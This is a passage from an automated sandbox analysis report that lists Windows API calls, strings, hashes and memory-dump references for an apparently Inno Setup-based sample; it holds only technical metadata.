                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FocusMessageStateTextWaitWindow
                                                                                                                                                                                                                                      • String ID: Wnd=$%x
                                                                                                                                                                                                                                      • API String ID: 1381870634-2927251529
                                                                                                                                                                                                                                      • Opcode ID: f1958697a4901136eb243dbe20eb39cbb326672f79de8de72c1a435ff1b0447b
                                                                                                                                                                                                                                      • Instruction ID: 17992b3effc84475d262d1a309b63da61542e22f0e105337c9737e95fd9359ad
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f1958697a4901136eb243dbe20eb39cbb326672f79de8de72c1a435ff1b0447b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B811A730644644AFC701FF65DC5999E7BB8EB49304F9184FAF408E7692DB386900CA69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FileTimeToLocalFileTime.KERNEL32(?), ref: 0046E48C
                                                                                                                                                                                                                                      • FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046E49B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Time$File$LocalSystem
                                                                                                                                                                                                                                      • String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
                                                                                                                                                                                                                                      • API String ID: 1748579591-1013271723
                                                                                                                                                                                                                                      • Opcode ID: 2c82eb517319c4feb0678a2222fa1caa0c7cc9d70da35f771929cd42352f02e5
                                                                                                                                                                                                                                      • Instruction ID: a22b2a007e2cf2d6de8f80eb00497e2bff53ee2dc74e74251f844a221e221b1c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2c82eb517319c4feb0678a2222fa1caa0c7cc9d70da35f771929cd42352f02e5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3711F8A440C3919ED340DF6AC44432BBAE4AB89708F44496EF9C8D6381E77AC948DB67
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(00000000,00000020), ref: 00453F83
                                                                                                                                                                                                                                        • Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498261,00000000,004982B6,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B
                                                                                                                                                                                                                                      • MoveFileA.KERNEL32(00000000,00000000), ref: 00453FA8
                                                                                                                                                                                                                                        • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: File$AttributesDeleteErrorLastMove
                                                                                                                                                                                                                                      • String ID: DeleteFile$MoveFile
                                                                                                                                                                                                                                      • API String ID: 3024442154-139070271
                                                                                                                                                                                                                                      • Opcode ID: 75fc53fd0ddaa48128ef6cce4dae119495c42920ad3f5386662393d2e6d8c133
                                                                                                                                                                                                                                      • Instruction ID: b5871bee3d194af1fa843ac656f6d820fc0ba16d57580c91db5694710367c43f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 75fc53fd0ddaa48128ef6cce4dae119495c42920ad3f5386662393d2e6d8c133
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AEF062716142045BD701FBA2D84266EA7ECDB8435EF60443BB900BB6C3DA3C9E094529
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004592F1,00000000,004594A9,?,00000000,00000000,00000000), ref: 00459201
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseOpen
                                                                                                                                                                                                                                      • String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
                                                                                                                                                                                                                                      • API String ID: 47109696-2631785700
                                                                                                                                                                                                                                      • Opcode ID: 7bfc696592b003d8a6b238063e783ff3189b4dca7eb8d211325608debd19b0e7
                                                                                                                                                                                                                                      • Instruction ID: d749d17306166952b18a3f7a40743e5d4d539800c31903ae925bcb827c574b5e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7bfc696592b003d8a6b238063e783ff3189b4dca7eb8d211325608debd19b0e7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EEF0C231700150EBCB10EB9AD895B4E7398DB95356F50453BF980CB263C63CCC0ACA6E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 004836E9
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0048370C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • CSDVersion, xrefs: 004836E0
                                                                                                                                                                                                                                      • System\CurrentControlSet\Control\Windows, xrefs: 004836B6
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseOpenQueryValue
                                                                                                                                                                                                                                      • String ID: CSDVersion$System\CurrentControlSet\Control\Windows
                                                                                                                                                                                                                                      • API String ID: 3677997916-1910633163
                                                                                                                                                                                                                                      • Opcode ID: b08de6e064ab0066fdf25e92b32557c09a13beb56fb99f55e24ba5929372f4fd
                                                                                                                                                                                                                                      • Instruction ID: e2e1efa57e06e253ed5c33608a99233e6d60fcd3e82f395225068b7938859aaf
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b08de6e064ab0066fdf25e92b32557c09a13beb56fb99f55e24ba5929372f4fd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 07F036F5A40209B6DF10EBD1CC45B9F77FC9B04B05F108567E910E7280E678DB048B59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B5A,00000000,00453BFD,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FED,00000000), ref: 0042D90A
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D910
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                      • String ID: GetSystemWow64DirectoryA$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 1646373207-4063490227
                                                                                                                                                                                                                                      • Opcode ID: 3965e48138ab8598cb17ff311cd558fd433aca8a834515e354a81fb776e31baf
                                                                                                                                                                                                                                      • Instruction ID: 657275fb9dfacbe144619f02b172540cf2f0c5a6f4252bec6bd03a25d2dd35a2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3965e48138ab8598cb17ff311cd558fd433aca8a834515e354a81fb776e31baf
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A5E0DFE0B40B0122D70032BA1C82B6B108D4B84728F90053B3894E62D6DDBCD9840A6D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,00000000,0042EAD0), ref: 0042EB62
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EB68
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                      • String ID: ShutdownBlockReasonDestroy$user32.dll
                                                                                                                                                                                                                                      • API String ID: 1646373207-260599015
                                                                                                                                                                                                                                      • Opcode ID: 88ce12e330a2fc51ece58c284b54de3a76b504cb94a4c995bd1a3fb2c6ea0693
                                                                                                                                                                                                                                      • Instruction ID: e1ec077e445c8734ae54db5ffdd633522f5c412f0b7fee52e54de0d29bb4c321
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 88ce12e330a2fc51ece58c284b54de3a76b504cb94a4c995bd1a3fb2c6ea0693
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A2D0C793311732665D10B1F73CD1EAB058C891527935404B7F515E5641D55DEC1115AD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00498762), ref: 0044F77F
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F785
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                      • String ID: NotifyWinEvent$user32.dll
                                                                                                                                                                                                                                      • API String ID: 1646373207-597752486
                                                                                                                                                                                                                                      • Opcode ID: f97c3de5cacafbf63d36e16939e29d51eb7e912e87a0fb2b79f6fc39cd446e20
                                                                                                                                                                                                                                      • Instruction ID: 5e946f17392c81a4f172a46fe169fb9a1f72c9003761a5edf28bd31acc2f1150
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f97c3de5cacafbf63d36e16939e29d51eb7e912e87a0fb2b79f6fc39cd446e20
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 59E012F0E417049AFF00BBB57B86B1A3A90E764719B00057FF414A6292DB7C481C4F9D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,004987B8,00000001,00000000,004987DC), ref: 004984E2
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004984E8
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                      • String ID: DisableProcessWindowsGhosting$user32.dll
                                                                                                                                                                                                                                      • API String ID: 1646373207-834958232
                                                                                                                                                                                                                                      • Opcode ID: 0a6869f336692cffb72a3d37b5043cace6ddfe1b26e102b83d1b95de8ab3ca94
                                                                                                                                                                                                                                      • Instruction ID: 53974a48addda20669242eeec291eced9f9b3ea586a0102388b68221815f3be9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0a6869f336692cffb72a3d37b5043cace6ddfe1b26e102b83d1b95de8ab3ca94
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8EB092C0280703689C8032BA0C02F1F08484C4272CB10003F3810A40C7ED6CDC00083D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F775,00498762), ref: 0044B67F
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B697
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A9
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6BB
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6CD
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6DF
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6F1
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B703
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B715
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B727
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B739
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B74B
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B75D
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B76F
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B781
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B793
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B7A5
                                                                                                                                                                                                                                        • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7B7
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0049878A), ref: 00464477
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 0046447D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$LibraryLoad
                                                                                                                                                                                                                                      • String ID: SHPathPrepareForWriteA$shell32.dll
                                                                                                                                                                                                                                      • API String ID: 2238633743-2683653824
                                                                                                                                                                                                                                      • Opcode ID: 43e9449c42c64eafa185df201a3e78782dc27b2a49daecccd0491a4bbbb3dbf6
                                                                                                                                                                                                                                      • Instruction ID: aee408708d02c77079155b2370532760acd370d0883c3ae68736bebce920fed0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 43e9449c42c64eafa185df201a3e78782dc27b2a49daecccd0491a4bbbb3dbf6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 73B09290681740A8CA007BB2289BB0F2A4894B072E7A2463B7008710C6EF7C84204A6E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,00000000,0047D2E0,?,?,?,?,00000000,0047D435,?,?,?,00000000,?,0047D544), ref: 0047D2BC
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,0047D2E7,0047D2E0,?,?,?,?,00000000,0047D435,?,?,?,00000000,?,0047D544,00000000), ref: 0047D2DA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Find$CloseFileNext
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2066263336-0
                                                                                                                                                                                                                                      • Opcode ID: 1bb33653f71372efa694325d8d6b641fbfb84b71fff8fb7ce2a7bf965ad77fdb
                                                                                                                                                                                                                                      • Instruction ID: 813c4c7e096b0537259228c6ce98783779beb739e450e2ccca0bb42f0b61749a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1bb33653f71372efa694325d8d6b641fbfb84b71fff8fb7ce2a7bf965ad77fdb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6A813B30D0024D9FDF11DFA5C845ADFBBB9EF49304F5080EAE808A3292D639AA46CF55
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042EE30: GetTickCount.KERNEL32 ref: 0042EE36
                                                                                                                                                                                                                                        • Part of subcall function 0042EC88: MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0042ECBD
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00475595,?,?,0049C1DC,00000000), ref: 0047547E
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CountErrorFileLastMoveTick
                                                                                                                                                                                                                                      • String ID: $LoggedMsgBox returned an unexpected value. Assuming Cancel.$MoveFileEx
                                                                                                                                                                                                                                      • API String ID: 2406187244-2685451598
                                                                                                                                                                                                                                      • Opcode ID: c178663150e68b17ede051a88a8c0b8e52ebf449323b5d146d45458d51117132
                                                                                                                                                                                                                                      • Instruction ID: cb6e190203de8706f01eb9277cb95c8d8a5d25c2e0fbb05709c61410d89611bd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c178663150e68b17ede051a88a8c0b8e52ebf449323b5d146d45458d51117132
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9E41B770A006099BCB10EFA5D882AEE77B5EF48314F608537E404BB355D7789A418BAD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 00413D46
                                                                                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 00413DFE
                                                                                                                                                                                                                                        • Part of subcall function 00418EC0: 6F59C6F0.COMCTL32(?,00000000,00413FC3,00000000,004140D3,?,?,0049B628), ref: 00418EDC
                                                                                                                                                                                                                                        • Part of subcall function 00418EC0: ShowCursor.USER32(00000001,?,00000000,00413FC3,00000000,004140D3,?,?,0049B628), ref: 00418EF9
                                                                                                                                                                                                                                      • SetCursor.USER32(00000000,?,?,?,?,00413AF3,00000000,00413B06), ref: 00413E3C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
